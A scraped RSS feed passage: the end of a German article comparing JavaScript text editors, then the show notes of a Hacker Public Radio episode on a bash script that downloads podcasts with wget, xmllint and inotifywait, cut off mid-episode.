<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Diese Texteditoren bringen JavaScript-Developer weiter.  </figcaption></figure><p class="imageCredit">R.Narong | shutterstock.com</p></div>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2832952/was-ist-javascript.html" target="_blank">JavaScript</a>-Entwicklern stehen viele gute Tools <a href="https://www.computerwoche.de/article/2821289/7-javascript-projekte-die-sie-kennen-sollten.html" target="_blank">zur Auswahl</a>. Beinahe <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">zu viele</a>, um den Überblick zu behalten. In diesem Artikel stellen wir Ihnen die besten Texteditoren vor, um:</p>



<ul class="wp-block-list">
<li>mit JavaScript, HTML5 und CSS zu entwickeln, sowie</li>



<li>mit <a href="https://www.computerwoche.de/article/3995075/was-ist-markdown.html" target="_blank">Markdown</a> zu dokumentieren.</li>
</ul>



<h2 class="wp-block-heading"><a href="https://www.sublimetext.com/" target="_blank" rel="noreferrer noopener">Sublime Text</a></h2>



<p class="wp-block-paragraph">Bei Sublime Text sind Sie genau richtig, wenn:</p>



<ul class="wp-block-list">
<li>Sie einen flexiblen, leistungsstarken, erweiterbaren und ausgesprochen schnellen Code-Editor suchen.</li>



<li>es Ihnen nichts ausmacht, für Code Checking, Debugging und Deployment zu anderen Fenstern zu wechseln.  </li>
</ul>



<p class="wp-block-paragraph">Zu den vielen weiteren, bemerkenswerten Stärken von <a href="https://www.computerwoche.de/article/3607168/code-editor-vergleich-visual-studio-code-vs-sublime-text.html" target="_blank">Sublime Text</a> gehören neben seiner Geschwindigkeit und dem Support für mehr als 70 Datei-Typen (darunter JavaScript, HTML und CSS) auch noch:</p>



<ul class="wp-block-list">
<li>Instant-Navigation und Projekt-Switching,</li>



<li>die Option, eine Reihe von Änderungen per Mehrfachauswahl „auf einen Schlag“ auszuführen,</li>



<li>Support für mehrere Bildschirme und Split-Windows,</li>



<li>eine Plug-in-API auf Python-Basis, sowie</li>



<li>eine einheitliche, durchsuchbare Befehlspalette.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Sublime Text ist in vielerlei Hinsicht konfigurier- und anpassbar. </figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Für Programmierer, die von anderen Editoren kommen, hilfreich: Sublime Text unterstützt sowohl TextMate-Bundles (ohne Befehle) als auch die Vi/Vim-Emulation. Dabei lässt sich der Code-Editor in so gut wie jeder Hinsicht anpassen, egal, ob es um Farbschemata, Schriftarten, Tastenkombinationen, Snippets oder die Regeln für die Syntaxhervorhebung geht.</p>



<p class="wp-block-paragraph">Rund um Sublime Text existiert ebenfalls eine aktive Community, die Packages und Plug-ins erstellt und pflegt. Mit Hilfe des <a href="https://sublime.wbond.net/browse" target="_blank" rel="noreferrer noopener">Package Installers</a> sind diverse zusätzliche Funktionen verfügbar.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: unbegrenzte kostenlose Testversion; 65 Dollar pro Jahr und Seat für die Business-Version; 99 Dollar für eine Privatlizenz (Support für drei Jahre);</li>



<li><strong>Plattformen</strong>: Windows, macOS und Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://code.visualstudio.com/" target="_blank" rel="noreferrer noopener">Visual Studio Code</a></h2>



<p class="wp-block-paragraph">Visual Studio Code ist ein quelloffener, kostenloser Editor von Microsoft. Er enthält einen Mix aus Komponenten von Visual Studio und der Open-Source-Shell Atom Electron und bietet umfassenden Support für:</p>



<ul class="wp-block-list">
<li>ASP.Net Core Development mit C# und</li>



<li>Node.js Development mit TypeScript und JavaScript.</li>
</ul>



<p class="wp-block-paragraph">Dank des TypeScript-Compilers und der Salsa-Engine bietet <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a> eine erstaunlich gute JavaScript-Codevervollständigung. Dazu sendet VS Code Ihren JavaScript-Code im Hintergrund an den TypeScript-Compiler, um Typen abzuleiten und eine Symboltabelle zu erstellen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Visual Studio Code darf in einer Auflistung der besten JavaScript-Editoren nicht fehlen.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Während Sie eine Expression eingeben, ermöglicht dieselbe Symboltabelle es IntelliSense, diverse nützliche Pop-up-Optionen zur Codevervollständigung zur Verfügung zu stellen.</p>



<p class="wp-block-paragraph">Der Support für <a href="https://www.computerwoche.de/article/2812266/was-ist-git.html" target="_blank">Git</a> ist umfangreich und simpel zu nutzen, der VS-Code-Debugger bietet eine hervorragende Erfahrung für Node.js und ASP.Net-Projekte. Visual Studio Code kann darüber hinaus auch mit externen Task-Runnern wie gulp und jake integriert werden und kann mit einem umfangreichen Ökosystem für Extensions aufwarten.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://brackets.io/?lang=de" target="_blank" rel="noreferrer noopener">Brackets</a></h2>



<p class="wp-block-paragraph">Brackets ist ein kostenloser Open-Source-Editor, der ursprünglich von Adobe stammt. Das Ziel der Entwickler: Bessere Tools für JavaScript, HTML, CSS und verwandte, offene Webtechnologien bereitzustellen. Auch Brackets selbst ist in JavaScript, HTML und CSS geschrieben.</p>



<p class="wp-block-paragraph">Zusätzlich zu den integrierten Funktionen verfügt Brackets über einen Extension Manager. Der ist auch nötig, denn die sind für diverse Programmiersprachen und Tools aus der Welt der <a href="https://www.computerwoche.de/article/2824968/3-wege-zum-vorzeige-frontend.html" target="_blank">Frontend-Entwickler</a> verfügbar. In der Praxis ist Brackets zwar nicht so schnell wie Sublime Text (siehe weiter oben) oder TextMate (siehe weiter unten). Aber der Editor ist immer noch schnell genug. Brackets bietet umfassenden Support für:</p>



<ul class="wp-block-list">
<li>JavaScript,</li>



<li>CSS,</li>



<li>HTML und</li>



<li>Node.js.</li>
</ul>



<p class="wp-block-paragraph">Darüber hinaus bietet Brackets weitere nützliche Funktionen wie beispielsweise:</p>



<ul class="wp-block-list">
<li>CSS inline in Verbindung mit einer HTML-ID bearbeiten,</li>



<li>eine übersichtliche Benutzeroberfläche und</li>



<li>eine Live-Vorschau für Webseiten in Bearbeitung.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Brackets ist in erster Linie für die Webentwicklung konzipiert.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Auch beim Blick auf die automatische Vervollständigung von JavaScript-Code kann Brackets in der Praxis überzeugen: Es schließt automatisch sämtliche Klammern und stellt Dropdown-Menüs für Keywords, Variablen und Methoden zur Verfügung. Der JavaScript-Editor ist auch in der Lage, den Node.js-Debugger zu steuern und Node über ein Menüelement neu zu starten. Erweiterungen für zusätzliche Funktionen wie <a href="https://www.computerwoche.de/article/2794625/was-javascript-von-typescript-unterscheidet.html" target="_blank">TypeScript</a>– und <a href="https://www.computerwoche.de/article/2831038/html-das-javascript-kann.html" target="_blank">JSX</a>-Support, Bower- und Git-Integration lassen sich schnell und einfach hinzufügen.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://github.com/atom" target="_blank" rel="noreferrer noopener">Atom</a></h2>



<p class="wp-block-paragraph">Dieser kostenlose, quelloffene und “hack”-bare Programmier-Editor stammt aus dem Hause GitHub und lässt sich in die entsprechende Anwendung integrieren. Tausende von Packages und Themes stehen zur Verfügung, um Atom anzupassen. Der Quellcode von Atom wird selbstverständlich auch auf GitHub gehostet, ist in CoffeeScript geschrieben und in Node.js integriert.</p>



<p class="wp-block-paragraph">Bei Atom handelt es sich um eine spezialisierte Variante von Chromium, die eher als Texteditor denn als Webbrowser konzipiert ist. Jedes Atom-Fenster ist im Wesentlichen eine lokal gerenderte Webseite.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Der Open-Source-Editor von GitHub kann in der Praxis überzeugen.</figcaption></figure><p class="imageCredit">IDG</p></div>



<p class="wp-block-paragraph">In der Praxis zeigt sich Atom performant. Der Editor ist sofort einsatzbereit und überzeugt unter anderem mit:</p>



<ul class="wp-block-list">
<li>einem “Fuzzy-Finder”,</li>



<li>der Möglichkeit, schnell und projektübergreifend zu suchen,</li>



<li>Multi-Cursor- und Windows-Optionen,</li>



<li>Snippets und Code-Folding sowie</li>



<li>der Möglichkeit, TextMate-Grammatiken und -Themen zu importieren.</li>
</ul>



<p class="wp-block-paragraph">Atom ist insbesondere praktisch, um Repositories zu durchsuchen, die von GitHub geklont wurden, weil die GitHub-Applikation zu diesem Zweck ein Kontextmenüelement enthält.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://notepad-plus-plus.org/" target="_blank" rel="noreferrer noopener">Notepad++</a></h2>



<p class="wp-block-paragraph">Ein weiterer kostenloser Open-Source-Editor, der gut für JavaScript geeignet ist – allerdings nur auf Windows läuft. Notepad++ unterstützt außerdem etwa 50 weitere Programmier- und Markup-Sprachen. Neben seinem Multi-Document-Editing-Fenster bietet dieser Editor auch eine “Workspace Tree View”, sowie Registerkarten mit Funktionslisten und Dokumentenübersicht. In der Praxis bekommt man dabei nie das Gefühl, ausgebremst zu werden.</p>



<p class="wp-block-paragraph">Mit Syntax-Farb- und -Folding-Optionen, leistungsstarken Editing-Funktionen sowie Paramter-Hints hat Notepad++ das Zeug zum primären JavaScript-Texteditor. Allerdings ist es bei weitem nicht der umfassendste JavaScript-Editor, wenn es darum geht:</p>



<ul class="wp-block-list">
<li>Code zu generieren,</li>



<li>Refactoring anzustoßen oder</li>



<li>schnell durch große Projekte zu navigieren.</li>
</ul>



<p class="wp-block-paragraph">Nichtsdestotrotz ist Notepad++ ist auch heute noch nützlich – vor allem, wenn es schnell und kostenlos gehen muss.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattform</strong>: Windows;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://www.barebones.com/products/bbedit/" target="_blank" rel="noreferrer noopener">BBEdit</a></h2>



<p class="wp-block-paragraph">Mit BBEdit steht auch für macOS-Benutzer ein proprietärer JavaScript-Editor bereit. Er unterstützt etwa 35 Programmier- und Markup-Sprachen. Für viele weitere Sprachen ist Community-Support (von unterschiedlicher Qualität) über die BBEdit-Website verfügbar. Sowohl die kostenlose als auch die lizenzierte Version bieten Syntaxhervorhebung. Code-Vervollständigung für Funktions- und Variablennamen, einige Keywords und ctags bleiben den Nutzern der kostenpflichtigen Version vorbehalten. Diese lässt sich auch in die <a href="https://www.computerwoche.de/article/2833711/version-control-systems-ein-ratgeber.html" target="_blank">Versionskontrollsysteme</a> Git, Perforce und Subversion integrieren.</p>



<p class="wp-block-paragraph">BBEdit wurde bereits vor einiger Zeit grundlegend überarbeitet und überzeugt in der Praxis nun auch, wenn es größere Dateien verarbeiten muss. Auch was HTML und Markdown angeht, gibt es nichts zu beanstanden – das funktioniert sogar besser als JavaScript.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlose aber eingeschränkte Version; 59,99 Dollar pro Benutzer für die Vollversion;</li>



<li><strong>Plattform</strong>: macOS;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://macromates.com/" target="_blank" rel="noreferrer noopener">TextMate</a></h2>



<p class="wp-block-paragraph">Dieser (ebenfalls macOS-exklusive) Code-Editor war einmal der letzte Schrei, verlor dann stark an Bedeutung und wird inzwischen wieder aktiv weiterentwickelt. TextMate ist zwar keine IDE, lässt sich aber über Bundles, Snippets, Makros und sein Scoping-System mit Funktionen ausstatten, die selbst sprachspezifische Entwicklungsumgebungen vermissen lassen. Was die Geschwindigkeit angeht, ist TextMate fast so schnell wie Sublime Text.</p>



<p class="wp-block-paragraph">Für eine IDE-ähnliche Funktionalität können Sie die Shell-Integration von TextMate verwenden, erwarten Sie aber kein Code Refactoring oder automatische Unit- und Regressionstests. Wenn Sie Grunt richtig einrichten, können Sie Ihre JavaScript-Tests auf dieser Ebene natürlich trotzdem automatisieren.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">TextMate bietet diverse Bundles.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Auch Support für Markdown wird über ein integriertes Bundle bereitgestellt. Dieses enthält:</p>



<ul class="wp-block-list">
<li>eine Preview-Funktion für Dokumente,</li>



<li>ein Markdown-„Cheatsheet“ sowie</li>



<li>diverse Tastenkombinationen, um Markup zu generieren.</li>
</ul>



<p class="wp-block-paragraph">Um TextMate mit Git und GitHub zu integrieren, eignet sich hingegen das Git-Bundle gut. In der Praxis erkennt TextMate vorhandene Git-Repositories und kann diese per Pull-Befehl aus dem Bundle von GitHub aktualisieren. Mit dem SQL-Bundle können Sie mit MySQL- und PostgreSQL-Datenbanken arbeiten.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattform</strong>: macOS;</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.infoworld.com/article/2252269/review-the-10-best-javascript-editors.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
